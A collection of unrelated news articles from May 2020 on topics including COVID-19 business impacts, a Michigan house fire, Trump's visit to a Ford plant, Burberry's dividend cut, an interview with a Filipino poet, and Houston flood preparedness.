As audiences are unable to travel to the many beautiful locations that Ireland has to offer, some of the artists have also promised to share their local scenery online as part of Ireland Performs.

To support these efforts and ensure that the arts can continue to be enjoyed online, the Department of Culture, Heritage and the Gaeltachts Culture Ireland has teamed up with Facebook Ireland to launch this new initiative.

The scheme hhas already attracted more than 350 applications and Culture Ireland continues to accept applications.

The interest from artists including musicians, visual artists, youth theatre and writers reflects the commitment of artists to share their work and stay connected with audiences.

All performances can be viewed live or watched back afterwards on the Culture Ireland Facebook page.
MT. MORRIS, MI  A woman is in the hospital after she was pulled out of a home Thursday afternoon by firefighters during a house blaze in Mt. Morris.

Firefighters with the Mt. Morris Fire Department were called out shortly before 1 p.m. May 21 to the 1000 block of Coy Street near Mt. Morris Middle School for a report of a structure fire with a person trapped inside the home.

Mt. Morris Assistant Fire Chief Todd Rockwell said when firefighters arrived on scene they encountered heavy smoke.

There was someone outside on the ground already, he noted of a man on the lawn. Once we confirmed there was someone still inside, we went inside right away and brought her outside and they took her away to the hospital.

The male victim remained at the scene and is expected to be OK, Rockwell said.

No condition was immediately available on the female victim.

Damage was visible to the west side of the home, with two windows knocked out and smoke damage to the siding.

Coy Street was blocked at Walter Street as fire engines, ambulances and police vehicles lined the dead-end road with neighbors watching on from their front porches, yard and driveways.

Crews from the Mt. Morris Fire Department were joined by Mt. Morris Township, Clio and Genesee Township firefighters. Mt. Morris police, Genesee County Sheriffs Office, and MMR ambulance service also responded to the scene.

The cause of the fire remains under investigation.
AJ Bell has pulled in a record number of savers as Britons rushed to snap up cheap shares following the stockmarket rout.

More than 30,000 new customers bought shares and funds through the investment platform in the six months to March 31, which included the period after the stock market meltdown in late February.

And the platform's popularity has continued during the lockdown, as AJ Bell's chief executive and founder Andy Bell said Covid-19 was making households pay more attention to their finances.

Cheap shares: More than 30,000 new customers bought shares and funds through investment platform AJ Bell in the six months to March 31

Bell said: 'People tend to come to an investment platform shortly after a life event that's happened which makes them review their finances  whether it's a redundancy or a marriage or a retirement or a divorce.

'I do wonder whether Covid has become one of those life events that's made people think, 'Actually, I need to check my finances are in order.'

In total, the platform sucked in 2.5bn of savers' money over the six-month period.

Hundreds of billions of pounds was wiped off the FTSE 100 in a matter of days in late February as fears about the pandemic spread around the word.

During this period, AJ Bell saw a flurry of customers selling their shares and funds on its platform.

Normally, the ratio of buys to sells is 70 per cent to 30 per cent, but this slipped to 50:50 for a few days as panic set in.

Bell added: 'Since then we've seen enhanced buying activity  people buying direct shares. If you look on the day, people are just buying and selling whatever's in the press at the time.'

Shell was the most popular stock on its platform in the last month, after plummeting 53 per cent from when the rout began on February 24 to a low on March 18.

Since then though, it has rebounded by 40 per cent as investors have taken advantage of the lower price to buy in.

Bell added that there had been a slight rise in the popularity of investment funds: 'When people get nervous they tend to want to leave it to the experts.'

The increase in customer numbers pushed AJ Bell's revenues up by 22 per cent to 60.9million in the six months to March, while profit climbed 28 per cent to 22.7million.

The firm, which has chosen not to claim any Government money or furlough any staff, will still pay an interim dividend of 1.5p to shareholders, the same as last year. Bell said: 'It was never right that we could take furlough money. We're a big enough business to withstand that.

'We took a view that if we were going to take furlough money or any Government scheme, we'd come under pressure later down the line when we wanted to pay a dividend or a bonus to senior management. There was a degree of principle in our decision there.'
World Tourism Cities Federation (WTCF) and Turkmenistan have discussed priority areas of cooperation aimed at developing the national tourism industry, Trend reports with reference to Turkmenistans State News Agency.

A meeting was held between the heads and representatives of the Ashgabat administration, the ministries of culture and foreign Affairs and representatives of the WTCF.



The capital of Turkmenistan - Ashgabat - joined the WTCF in early May, 2020. Thus, joining this organization will help to promote the country's tourism opportunities.



World Tourism Cities Federation (WTCF), voluntarily formed by famous tourism cities and tourism-related institutions in the world under the initiative of Beijing, is the worlds first international tourism organization focusing on cities.



Established on September15, 2012 in Beijing, the headquarters and Secretariat of WTCF are based in Beijing. Chinese and English are its official languages.



Guided by the core vision of improving urban life through tourism, WTCF provides its members with services that cover the entire tourism industry chain. It is aimed at facilitating exchange and cooperation between participants, spreading the experience of developing tourist cities, promoting tourism products and resources, and promoting the development and prosperity of the global tourism industry.
If you were looking for the Charlestown Democratic Town Committee website and ended up here, try this





Got news tips, gossip, suggestions, complaints?E-mail us: progressivecharlestown@gmail.com We strive to avoid errors in our articles. Our correction policy can be found here
Ms. Whitmer, a Democrat who has been mentioned by Joe Biden as a possible running mate, spoke with Mr. Trump on the phone this morning, though she didnt attend the event at the Ford plant. She said after the call that she hoped Mr. Trump would grant her request to declare a state of emergency for the mid-Michigan communities of Midland and Sanford, which were devastated by flooding this week.

And Mr. Trump obliged. The governor and I had a great conversation this morning, he said during the visit. We signed an emergency declaration quickly.

Outside the plant, those signs of collegiality disappeared. Several hundred people turned out to show their devotion to Mr. Trump, but their anger at Ms. Whitmer and the way she has handled the coronavirus crisis almost overshadowed their enthusiasm for the president.

Gene Dixon, a retired steel executive from Bloomfield Hills, carried a sign with a single word: Shamdemic. He has attended several of the rallies at the state Capitol in Lansing to protest Ms. Whitmers stay-at-home order, which she imposed on March 23 but has started to relax in the last couple of weeks.

I saw landscapers who couldnt work, he said. These are regular people, working people. Its not right. (Ms. Whitmer gave landscapers the green light to go back to work two weeks ago.)

Denise OConnell, 59, of Hartland, a retired I.T. worker for an Ann Arbor hospital, has seen Mr. Trump several times, but didnt want to miss the opportunity to show her support, especially now during the coronavirus pandemic.

Weve got a tyrannical wench running our state, she said of Ms. Whitmer. It hurts me that so many people just think Trump is a bad guy, and all he wants is whats good for America. I think he was elected to lead at this particular time. Its divine intervention.
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BAKU, Azerbaijan, May 22

By Ilkin Seyfaddini - Trend:

The U.S. government has announced allocation of additional $3 million to Uzbekistan through the US Agency for International Development (USAID), as part of a comprehensive response to the COVID-19 pandemic, Trend reports citing the US Embassy in Tashkent.

The overall direct US government contribution in support of Uzbekistan will reach $5.92 million, of which USAID has already provided approximately $3.8 million.

"With this and previously announced funding, the US government supports Uzbekistan's efforts to combat the COVID-19 pandemic by providing advice and technical assistance to prevent the spread of infection in medical and diagnostic facilities," the US Embassy said.

USAID's programs in Uzbekistan also aim to prepare laboratory systems for large-scale testing and improve treatment of infected patients. In addition, they facilitate interaction with local communities by providing accurate information to vulnerable populations to help stop the spread of COVID-19.

Earlier, the US Government has allocated $100,000 for purchase and distribution of essential supplies to families affected by the disaster of the Sardobin water reservoir in Syrdarya region.

---

Follow author on Twitter: @seyfaddini
Kasapreko Company Limited, one of Ghanas leading beverage businesses has presented hundred (100) packs of Awake Water and two hundred (200) packs of its new softdrink, Puma Drinks, to the National Chief Imam, Sheik Nuhu Sharabutu as part of activities to mark the Eid Ul Adha festivities.



Puma Drinks, is a new line of products with a fantastic range and significant value-for-money pack (350ml) which will deliver competitive profit margins to stakeholders and consumption satisfaction to the Ghanaian consumer.

Leading the delegation, Mr. Chris Addo- Sarkodie, Marketing Manager of the company, said on behalf of Mr. Richard Adjei (Managing Director) and management of Kasapreko Company, it is our honor to once again wish the Chief Imam a happy belated birthday on his recent celebration of 101 years and we would like to congratulate the entire Muslim community on a successful Ramadan period. He said, We hope this donation will support homes and put smiles on the faces of our Muslim community as they celebrate Eid Al-Fitr.



Receiving the items, Sheikh Aremeyaw Shaibu, Spokesperson for the National Chief Imam, expressed appreciation for the gesture and commended Kasapreko for its continuous support for the Muslim Community. Each year, we receive Kasaprekos donation and it is our prayer that, Almighty Allah will continue to bless the Managing Director and Management with wisdom to grow the company.



The Chief Imam prayed for the continuous success of Kasapreko Company as they continue to support the Muslim communityand added special prayer for the success of the new PUMA range of drinks. He also mentioned that he values the relationship between Kasapreko and his office as they continue to introduce initiatives that benefitthe vulnerable in the Muslim community.



Due to the Covid-19 pandemic, this years Eid Al-Fitrs celebration will take different dimension; the Muslim community will not be able to publicly commemorate the Eid Al-Fitr hence Kasapreko hopes this donation will go a long way to support the community as they celebrate the end of the Ramadan period.

Puma Drinks comes in 10 unique flavours; Tamarind, Apple Banana, Cola, Orange, Tropical, Energy, Malt, Cranberry, Apple, Pineapple. It is available at major distribution points and retails outlets at 12cedis per pack. For bulk distribution, call 0262-351251.

Source: peacefmonline.com









Disclaimer : Opinions expressed here are those of the writers and do not reflect those of Peacefmonline.com. Peacefmonline.com accepts no responsibility legal or otherwise for their accuracy of content. Please report any inappropriate content to us, and we will evaluate it as a matter of priority.

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This is another in a series of field reports, titled A State on Edge, on how life has changed for New Jerseyans during the coronavirus outbreak.

A cry for help. A plea for fairness. A feeling of disgust.

Renee Faris e-mail two weeks ago spoke of the bakery owners tenuous business situation and her apparent inability to tap into the governments Paycheck Protection Program (PPP), aimed at small businesses.

"The minute they started releasing loan applications, I began applying in hopes I would get some sort of relief,'' the owner of Erie Coffeeshop & Bakery in Rutherford wrote. "I went on worrying and stressing out that my business would be ruined . . . I started reading about all these big businesses getting their small business relief funds  Shake Shack, Eataly, Ruths Chris. ARE YOU KIDDING MEEEE?''

"We were promised so much in the beginning,'' says a masked Faris, standing outside her bakery a week later. "Then it turned into, just wait for it. Then it was, oh, Im sorry we ran out of money. How do you run out of that much money? I just gave up. This is all a sham.''

The PPP loans  a $660 billion program, with additional funding being contemplated  have been controversial since day one. The first round of loans were quickly gobbled up, many by businesses that didnt seem to fit what most people would consider small business.'' The Los Angeles Lakers received assistance. So did Shake Shack and AutoNation, the nations largest car dealership. Under widespread criticism, all three eventually returned the money received  $4.6 million in the Lakers case, $77 million from AutoNation, $10 million from Shake Shack. Many companies much larger than your usual mom-and-pop business refused to return the money, however, stating they met the programs guidelines. In all, at least 60 companies have returned their small business loans, according to The New York Times.

My rent is due, my landlord doesnt care we are closed. Thankfully, Verizon, ShopKeep (a payment processing system) and our garbage collectors were able to put our accounts on hold. But well have to pay water, gas, electric, credit card bills, workers comp, insurance, etc, Faris wrote in her email.

Faris experience with the loan program, funded by the Small Business Administration, was frustrating. She called her bank  Capital One  and was told to contact her local branch.

"I said, I dont have a bank, it closed. When I called back, they gave me a big run-around  call the SBA. The SBA said, call Capital One.''

At 10 p.m. one night, a Capital One representative called her. It was a 609 area code number, and Faris was leery because she had heard of coronavirus-related scams. She let the phone ring, got a voice mail message, and returned the call. It was indeed a Capital One rep. "She said, were working around the clock doing our best to get small New Jersey businesses (money). Theyre releasing more money tomorrow; you just have to wait until the SBA goes over (the applications).''

The interior of Erie Coffeeshop & Bakery is closed to customers (Andrew Mills I NJ Advance Media for NJ.com)

Faris waited, and waited. She closed the bakery for a month and half, from mid-March to early May.

She shut down the business "because a close friend of ours died from the coronavirus. That scared me. He was here a week before, a regular who became a really close friend. He was sick and then they took him to the hospital . . .''

I didnt feel comfortable being open,'' she added. I would never be able to forgive myself if anyone got sick.''

With the shop closed, and no financial assistance forthcoming, she suffered "panic attacks, depressive funks, insomnia.''

"I wish I could say I used this time wisely, but it just wasnt in the cards,'' she said. "I didnt spend the month watching TV, sleeping, resting or exercising, I spent it on the phone, on the computer, and in my head worrying. Scared s---less every day.''

She finally decided to re-open the shop, and return to some sense of normalcy. "My landlord said he could put me on a payment plan. I said, forget it, Ill figure out a way to pay you. I paid him, took it out of my savings.''

The bakery re-opened, with several restrictions. Employees must wear masks, and change clothes once inside. Customers are not allowed inside; all orders are now done online. The bakery initially re-opened on just Saturday and Sunday. it is now open Fridays, also.

Renee Faris and her husband outside her bakery (Andrew Mills I NJ Advance Media for NJ.com)

A poll by the U.S. Chamber of Commerce estimates that one quarter of all small businesses say they are two months or less from closing permanently due to the economic downturn. Small businesses, by government definition, have fewer than 500 employees and represent half of all U.S. employment. Small businesses, by any measure, are a big deal.

Faris has worked as a baker for several heralded restaurants and chefs. While working at Carlos Bakery in Hoboken, she appeared in seasons one and two of Cake Boss.'' She worked at two restaurants in Los Angeles, at New Yorks acclaimed Gramercy Tavern, and at Maysville, a Southern-inspired whiskey bar/restaurant. In his review of Maysville, New York Times reviewer Pete Wells gave a shout-out to Faris apple granita. I was bummed that he didnt put my name in his review, but I cried when I read it,'' she told northjersey.com.

Today, all her New York City chef friends are out of work, on unemployment. "Theyre all laid off, with no idea when theyre going back and no idea whats going to happen when they do go back to work.''

Erie Coffeeshop and Bakery just celebrated its fifth anniversary in business.

"I was going to have a big party,'' Faris said. "Now I cant.''

Renee Faris puts finishing touches on cakes and cookies in her kitchen (Andrew Mills I NJ Advance Media for NJ.com)

Her olive oil citrus cake remains a popular item. For Mothers Day, she made an "insanely delicious'' blackberry/blueberry/ginger mini-pie. Other items includes biscuits, brownies, cookies and doughnuts.

On May 17, World Baking Day, she posted this message on the bakerys Facebook page: "Just wanted to shout out our incredible team.... missing the heck outta hugging everyone and being crammed In a tight kitchen screaming HOT/BEHIND.''

When I interviewed her on the sidewalk outside her bakery, Faris had given up hope of receiving a PPP loan. "Im just going to make it work, for the summer, the fall and however long this is going to take. I dont have a nice car, I dont have a nice house. But my (customers) are beyond supportive. Im so lucky, Im so blessed.''

This story has a somewhat happy ending. Several days after being interviewed, Faris was informed she did receive a PPP loan - "less than $15,000.'' she says. She will use it for payroll "and hopefully get some rent and utilities covered.''

She says she feels "a bit better'' because "help actually came through.''

Its not much, but its enough, for now.

Thank you for relying on us to provide the journalism you can trust. Please consider supporting NJ.com with a voluntary subscription.

Peter Genovese may be reached at email@njadvancemedia.com.
The COVID-19 pandemic is an unprecedented health and economic crisis but it has been made worse by the failures of the two countries that should be leading the response.

Ordinarily in a crisis of this sort the world would look to the US and China to step up either at international organisations such as the United Nations or the G20 or by co-ordinating their individual actions.

Unfortunately for quite different reasons, both countries seem incapable of taking up this mantle.

Many countries distrust China because its slow and secretive response to the initial outbreak allowed the disease to spread. Now that China has the disease more or less under control and is offering to help, many fear it will use its economic and military power to export its authoritarian political system.

On the other hand, the shambolic response to the crisis by President Donald Trump has undermined confidence in the US. His rambling pseudo-science lectures at press briefings have raised questions about whether he grasps what is going on.
37 per cent of Vietnamese consumers are using contactless card payments at present

The Visa Consumer Payment Attitudes study found 74 per cent of consumers in Vietnam expect to increase cashless payments in the next 12 months. Of those carrying less cash, the main reason for doing so is that more places are offering cashless payment options.

These trends are reinforced by figures from VisaNet, the companys payment processing network, which show the value of purchases made by Vietnamese consumers on their Visa credit and debit cards increased 39 per cent on-year, while the number of transactions grew 54 per cent over the same period.

Visas mission in Vietnam has been to offer consumers the most efficient, convenient, and secure forms of payment possible  a goal which relies heavily on the adoption of new technologies, said Dang Tuyet Dung, Visa country manager for Vietnam and Laos.

As such, it is incredibly gratifying to see the results of this study, which demonstrate clearly that Vietnamese consumers are broadly recognising the benefits that payment technologies can bring to their lives, and adopting them at increasingly high rates, Dung noted.

One of the key new technologies that the study looked at was contactless payments  payments where a user simply taps their card, phone, or wearable device against a POS terminal.

At present, 37 per cent of consumers are using contactless card payments in Vietnam, while interestingly, an even higher number (42 per cent) are currently using mobile contactless payments.

84 per cent of consumers stated they feel their personal information is safe while making mobile payments, and this high degree of confidence is reflected in the usage figures.

Of those that do use contactless card payments, 85 per cent are doing so at least once a week. The study found there is clear room for growth with these new technologies, with four out of five consumers who have not used contactless payments indicating that they are interested in using them.

84 per cent of consumers stated they feel their personal information is safe while making mobile payments, and this high degree of confidence is reflected in the usage figures.

Along with this, mobile contactless payments, QR payments, mobile e-commerce payments all increased on-year over 2018. In particular, 82 per cent said they are using mobile contactless payments at least once a week.

The study also found other new technologies that are garnering interest among consumers with 82 per cent saying they were interested in making biometrically authenticated payments, by using their fingerprint or voice recognition to complete a transaction, while 81 per cent were interested in digital banking.

Looking ahead, we will continue to bring cutting-edge payment technologies to the Vietnamese market, while working closely with our stakeholders to ensure that we clearly communicate the benefits of these technologies to end users," added Dang Tuyet Dung. "Its an exciting time for commerce in this market, and we look forward to playing a role in assisting the ongoing modernisation of the Vietnamese economy.
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Dame Zandra Rhodes has revealed how her partner was 'in a state of not being all there' as she spoke shortly before his death on the BBC's Real Marigold Hotel.

The designer, 79, from Kent, was taking part in the show, in which celebrity pensioners tested out retired life in northern India, shortly before her partner US film producer Salah Hassanein died aged 98 in June 2019.

On last night's programme Zandra rushed back home during filming to be with her loved one as his health deteriorated.

The designer, who is famous for dressing Princess Diana and a host of stars from Shirley Bassey to Nicole Richie, revealed: 'My partner is 19 years older than myself. He's in a state of almost not being all there. He looks like he might not last and that's terrifying, but there's nothing I can do about it.'

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Dame Zandra Rhodes (pictured) spoke openly on BBC One's The Real Marigold Hotel about her partner, who was ill at the time of filming in June 2019 and died shortly afterwards

The designer, 79, from Kent, was taking part in the The Real Marigold Hotel, in which celebrity pensioners tested out retired life in northern India, in June 2019, when her partner US film producer Salah Hassanein (pictured together in 2013) died aged 98

Zandra, who was filming in India at the time while her partner was in the US, said her partner's health had deteriorated while she was away.

'He hasn't been eating so they took him into hospital,' Zandra explained on the show. 'They didn't want to do any force feeding.

'He has been brought home because they couldn't do anything more for him,' she added.

Meanwhile a voiceover on the programme explained that her partner had been ill for sometime and had taken a turn for the worse during filming.

Aired last night, the show saw Zandra rush back home during filming to be with her loved one (pictured together) as he was taken to hospital

The designer is famous for dressing Princess Diana (pictured chatting together in 1997) and a host of stars from Shirley Bassey to Nicole Richie

In the programme it was revealed that Zandra had opted to return home, leaving the other celebrities - including former dragon Duncan Bannatyne, Chuckle Brother Paul Elliott and Swedish actress Britt Ekland - in the hotel.

Fans were quick to offer their condolences to the designer on social media, with one writing: 'Aw sorry about Zandra's partner. #RealMarigoldHotel.'

Another was sorry to see her leave, tweeting: 'Zandra Rhodes, colourful in appearance and personality. She seemed to be a calming person in the group and less needy when it came to grabbing camera time. #RealMarigoldHotel.'

Another added: 'Aww, poor Zandra.'

Fans of the programme were quick to offer their condolences to the designer on social media (pictured above)

Her appearance on the BBC One series comes after Zandra revealed how she is maintaining her striking image during lockdown.

The fashion and textile designer said she never goes out out without a full face of make-up - and even keeps it on when she goes to bed at night.

She told Susannah Constantine in the latest video episode of My Wardrobe Malfunction: 'I never ever go out without make-up.

'I sleep with my make up on, I wash it in the morning, and then I make myself up again in the morning.'
Vice President M Venkaiah Naidu on Friday expressed anguish at the loss of lives in an air crash in Pakistan's Karachi.

At least 37 people were killed when a Pakistan International Airlines plane with 107 people on board crashed into a densely populated residential area in Karachi on Friday.

"Deeply anguished by the loss of lives in a plane crash in Pakistan. My condolences to the bereaved families and wishes for the speedy recovery of the injured," the Vice President's Secretariat said in a tweet quoting Naidu.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)
STATEN ISLAND, N.Y. -- As if Staten Islanders dont have enough to deal with right now.

On Saturday, May 16, Michael Ferrari was driving home on the Staten Island-bound lower level of the Verrazzano-Narrows Bridge when concrete-infused water suddenly rained down from the upper level, splashing across his car.

I was approaching the lower level from the Brooklyn-Queens Expressway (BQE) and a large amount of cement was leaking from the construction being done on the upper level. It covered my car, Ferrari said.

The falling material was a result of ongoing construction on the Brooklyn upper level approach roadway where the contractor, El Sol Construction Corp., was using water during a concrete saw-cutting operation to mitigate dust and, despite efforts to contain it, some concrete-infused water dripped onto lower level traffic, according to the MTA.

The falling white liquid startled Ferrari, who said he immediately tried to clear his windshield, but ended up clouding the glass in a way that made it difficult to see the road.

It was a little scary because it made my windshield very cloudy and I couldnt really see, Ferrari said. It is a scary situation because sometimes it comes out like large globs. Its like being in a hail storm where you cant really see.

Upon returning home, Ferrari tried to hose off his vehicle but quickly found that the concrete-infused water would not budge.

I was really upset about it because I realized they had no covering to really block it like they did when they replaced the upper level road deck a couple of years ago, Ferrari said. When that was going on there were really no issues.

To ensure the issue does not persist, El Sol has put additional preventive measures in place, including more crew members to contain and collect water, as well as additional tarps to control residue, according to the MTA.

Ferrari filed an official complaint on the MTA website and was contacted by El Sol, which worked quickly to resolve the issue.

The contractor called me back and I met him at a detailing place on Bay Street to have the car detailed for nothing. The guy was very nice and they detailed my car inside and out, Ferrari said.

Ferrari is not the only Staten Islander to experience this issue, with Assemblyman Mike Reilly hearing similar stories from multiple residents and encouraging anyone affected to reach out to his office or to the MTA directly.

The MTA has assured motorists that all vehicles that have been damaged by the project will be cleaned free of charge.

El Sol Construction Corp has been addressing the issue from the first instance of complaint, and will continue to do so, accommodating and compensating motorists whose vehicles were splashed while driving on the lower level, ensuring these vehicles are thoroughly cleaned and all residue removed, said MTA spokeswoman Meredith Daniels.

El Sol did not respond to a request for comment by the time of publication.
Creative's Questionnaire is an interview series where artists, writers, filmmakers, and other creatives talk about their work, the challenges that they face, and their inspirations.

Manila (CNN Philippines Life)  I write and perform, thats what Juan Miguel Severo likes to tell people when hes asked about the work that he does. Severo is what you usually call a multi-hyphenate: hes a poet, a writer, a screenwriter, a playwright, and an actor. But Severo feels that distilling his work into two categories (writing and performing) is more straightforward and, uh, perhaps less obnoxious.

He says, I used to be very specific about the stuff I do but it can be limiting and I feel like an ass sometimes when I enumerate them so yun na lang. I write and perform.

Severo is a guy who regularly bares his soul onstage; his spoken word poetry transcend performativeness. Perhaps thats why hes garnered such a massive audience since the time one of his pieces, Ang Huling Tula na Isusulat Ko Para Sa 'Yo, went viral on YouTube.

These days, Severo is busy. Hes prepping a queer rom-com series for Globe Studios  starring queer actors. Hes also working with other artists and writes poetry. In fact, hes writing more these days.

The governments incompetence has made me prolific, he says. Typing angrily and chanting in the streets dont have the same vibe but we have no choice, e. So type and type na lang.

In this interview, Severo talks about the challenges of his profession, especially during the pandemic, questioning the motivations of creative work, and why works for queer people by queer people matter.

What do you think are the essential traits of a creative person, especially in your field?

Recurring self-doubt and just enough guts to birth works despite it! (Laughs) Seriously though, theres a Martha Graham quote I always go back to about how its not our business to determine how good our work is; our business is to remain open to the urges that motivate us and to share our art to honor those urges no matter our self-doubts. So that, and I guess empathy. And by empathy, I mean an awareness to whats happening around us. Mas mabigat at mas malaman ang sining kapag hindi lang to tungkol sa ting mga sarili.

What is the core philosophy that guides your work?

I saw an Instagram story recently from Direk Tonet Jadaone from a recent Zoom conversation she did with fellow female creatives where she highlighted four questions she asks herself about everything she writes. Im paraphrasing but I think every writer and performer should ask themselves these questions, too: (1) Does it need to be told? (2) Does it need to be told right now? (3) Does it need to be told right now by me? (4) Will it contribute something to society?

A lot of creatives tend to forget to ask themselves numbers 2 to 4, I think. If your answer to all that is a yes, then go do it. I always say that art/media and reality mirror each other, so we should be very careful with the truths we choose to tell in our art because we can either reinforce the status quo or help destroy it. I say we destroy it.

And how does that relate to your current project?

Ill answer these with Direk Tonets questions as my guide: (1) Im writing a romantic comedy between gay characters because the LGBTQ+ community needs more representation in the media. (2) That the BL genre has enough following in the country while the SOGIE bills fate is still hanging makes this the most opportune time to hear stories that normalize queer love. (3) I, the series creator and writer, am a gay man. Were hiring gay actors. My core team is composed of members of the LGBTQ+ community and an ally. So yes, this is our story to tell. (4) How does this contribute to society? If one queer kid watches this series and becomes unashamed for who they love, then well have done our job.

Aside from Gaya sa Pelikula, Im still writing poems. I just finished writing something for the UN Population Fund which is performed by Ria Atayde. Im also doing this small thing with Sir Gary Granada where I just talk to different spoken word artists about their craft live on Facebook every other Tuesday.

Do you look back at your past work? Why or why not?

Yes! Because Im a Leo and we like looking at ourselves! (Laughs). But my Sun aside, I look back at my past work no matter how cringey they are as an act of self-love: Oha! Gumaling ka na kahit paano! At saka, ang dami kong naiiwasan nang mga bad habits sa pagsusulat at pagtatanghal ngayong malay na akong ayaw ko pala sa kanila.

Do you have a mentor? Do you think it's important to have one?

I cant particularly say na I have one mentor, but for every scene that I chose to enter I definitely have people who made it easier to navigate. Direk Dan and Tonet and Atty. Joji Alonso sa film and TV, for example. Sir Rody Vera and the rest of The Writers Block for screenwriting and playwriting. Words Anonymous for spoken word.

Having a mentor can be very advantageous, sure, but nothing beats consuming your craft. If you want a mentor to gain an advantage as in an easy way into the scene, forget it. Be in it to learn. Also, why not treat your peers as your mentors? I learn more about art from my peers than from any revered artist anyway. Actually, yes, sige, I have mentors nga. My peers. The people I grow up with in the art scene.

How important is social media in your work?

I went viral one time and I owe this career to it. (Laughs). Social media and the internet in general has changed a lot for artists. It has made it easier to share our work, yes, but it also makes us more accountable for the art we put out! Criticism is just as accessible now and this is a good thing. We must listen to them. Like I said, we either reinforce the status quo or help destroy it. Those who do the former need to be aware of what their expression is capable of.

What skills do you wish you had?

I really wish I could dance.

What myth(s) about your field of work would you like to debunk?

About spoken word: Its not just about failed love. May hugot sa pagmamahal sa bayan!

What have you learned from work that you've applied to other areas of your life?

Whoever chooses vulnerability chooses strength.

What kind of changes do you think are essential to ensure the kind of work that you do can thrive, while still protecting the people who do it?

Im already seeing the signs of an emerging form with more and more content utilizing virtual space. Im not surprised because artists will definitely find new ways to do what they do. The kind of changes we need more of must come elsewhere.

I wish for an audience that is willing to pay for art when they have the means to do so. I wish for a system that doesnt leave artists behind. I wish for a government competent enough to let us flourish without fear of going hungry or being silenced. I worry that the amount of jobs artists lost due to the pandemic will create another generation of parents that will discourage their children from pursuing art.

I know I said I honor the motivations of my work but I dont see art as all that important compared to collective action, yes, but we must not be left out. Were trying to tell the truth here. Especially these days, that should count for something.
Tough times: The luxury retailer ditched a payout worth 120m

Burberry became the latest blue-chip company to cancel its dividend in an attempt to absorb a 241million hit from the pandemic.

The luxury retailer ditched a payout worth 120million, hammering investors who have now endured almost 31billion of lost dividends from listed firms since the outbreak.

Almost half the firms in the FTSE 100 have cut or axed payouts, with Burberry becoming the 46th, according to analysts at AJ Bell.

Burberry also became the latest retailer to spell out the devastating impact of Covid-19. It took a 241million one-off charge related to the virus, including 68million for the clothes mountain which will need to be sold at a discount.

There was also a 157million writedown on its 465 global stores, half of which are closed.

Its factory in Castleford, Yorkshire, is out of action, having been adapted from making trench coats to churning out surgical masks and gowns.

In the year to the end of March, which barely takes account of the European lockdown, revenues fell 3 per cent to 2.6billion, contributing to a 62 per cent slump in profits to 169million.

It shut most stores in mainland China in February, and was affected by protests in Hong Kong. It reported a like-for-like drop in sales of 27 per cent in the first three months of the year  worth about 170million  following growth of 4 per cent in the last nine months of 2019.

Yesterday it confirmed it had borrowed 300million via the UK Government's business support scheme.

Finance chief Julie Brown said: 'The virus has clearly changed the world and the way people conduct their lives. '

Trading post-lockdown was looking promising as sales in China and Korea in the last seven weeks outperformed the same period in 2019.

Its UK shops are expected to open from June 1.
(Alliance News) - DP Poland PLC on Friday reported a strong 2019, but warned that the economic outlook remains uncertain.

The pizza delivery franchiser reported revenue of GBP14.0 million for the year to December 31 compared to GBP12.4 million the year prior, resulting in a narrowed pretax loss of GBP3.5 million from GBP3.8 million.

DP Poland said store numbers in 2019 increased from 63 to 69 stores, satisfying the Domino's Pizza master franchise agreement requirement. System sales were up 13%, like-for-like system sales up 3%, and delivery sales ordered online up 6%.

Despite that, the company said coronavirus crisis presents its industry with some major obstacles. So far DP Poland said it has seen relatively little impact as, under Polish government guidance, the company has been able to keep all of its stores open and sales have held up robustly.

"We continue to create new initiatives and seek to adapt to the 'new world'. Meanwhile, one consequence of the crisis has been to bring about some reduction in our food and labour costs," said Chief Executive Iwona Olbrys.

AIM-listed DP Poland shares were trading flat in London on Friday afternoon at 8.50 pence each.

By Evelina Grecenko; evelinagrecenko@alliancenews.com

Copyright 2020 Alliance News Limited. All Rights Reserved.
As Hurricane Season rapidly approaches, local congressmen and Harris County officials are discussing flood preparedness and regional mitigation updates.

Congressman Dan Crenshaw held a virtual town hall on May 21 at The Cedar restaurant in Huffman with Harris County Flood Control District Executive Director Russ Poppe. Both Poppe and Crenshaw answered questions from the public about flood mitigation and explained how local and federal entities are preparing for the June 1 start of Hurricane season.

VIRTUAL WORLD: Lake Houston area government, chamber turn to virtual meetings as coronavirus threat continues

The Cedar in Huffman was flooded in September by Tropical Storm Imelda, Crenshaw said, and is now working through the issues of operating a business during the novel coronavirus.

Crenshaw quickly reviewed the active flood mitigation strategies being put in place across the Lake Houston area, including the Kingwood High School flood gates, sediment removal from the San Jacinto River, the Lake Houston Dam spillway capacity update that will allow a greater release rate, local detention projects with the HCFCD bond, and the work being completed through the flood control district.

He also discussed the $6 million Buffalo Bayou and tributaries resiliency study to find options to improve infrastructure for flood risk management. The study will evaluate non-structural alternatives as well, such as buyouts. Much of the analysis and evaluations of the alternatives are complete and the team is working to document the results, the tentative Army Corps of Engineers recommendation, draft feasibility report and environmental impact statement. Those are expected to be released by the ACE later this summer after headquarter approval for release is provided.

It takes longer than people would like to study where these projects should be and where the cost-benefit should be allocated, but it is happening, Crenshaw said.

FEMA region six has worked with HCFCD to update the flood insurance rate map for Harris County to show the flood mitigation projects and the true risk of flooding in particular locations.

FEMA is working with Harris County to provide the communities and citizens of Harris County with the best available flood hazard data to guide the decision-making process to build a more resilient community, Crenshaw said.

In Congress, Crenshaw said their flood mitigation priorities will be in relation to the Water Resources Development Act, a must-pass piece of legislation that comes up every couple of years.

Crenshaw said they may continue to hold these forms of meetings virtually in the future even when in-person events are an option so that more people can attend. About 300 people virtually attended the town hall held on Zoom.

CORONAVIRUS: Using cellphone data, national study predicts huge June spike in Houston coronavirus cases

Poppe said residents should expect a fairly active Hurricane Season with a projected 16 named storms, eight of which are projected to become a hurricane.

He recommended using readyharris.org to put together an individual family plan for if a storm comes. He also recommended visiting the HCFCD website to gain a perspective on the risk of flooding based on address with the current FEMA flood plains. Now you can sign up for customizable alerts from rainfall gauges. He also suggested getting flood insurance, even if a home is outside of the 100-year flood plain.

Poppe also emphasized the turn around, dont drown slogan, as many incidents occur during a flooding event when people leave their homes. He said even a few inches of water can wash a vehicle off a road.

As much as were doing at the government level, were in this together, Poppe said. And we need our residents to have a plan so that when these disasters happen they have a solid plan and they can execute that plan.

It has been 20 months since voters approved the 2018 flood control bond program, Poppe said, and they have made progress during that time as 80% of the bond program has now been initiated across Harris County.

Im very pleased to announce that as weve executed the bond program weve been able to secure almost 670 million dollars in partnership funds, the vast majority of those are federal funds, Poppe said.

savannah.mehrtens@chron.com
22.05.2020 LISTEN

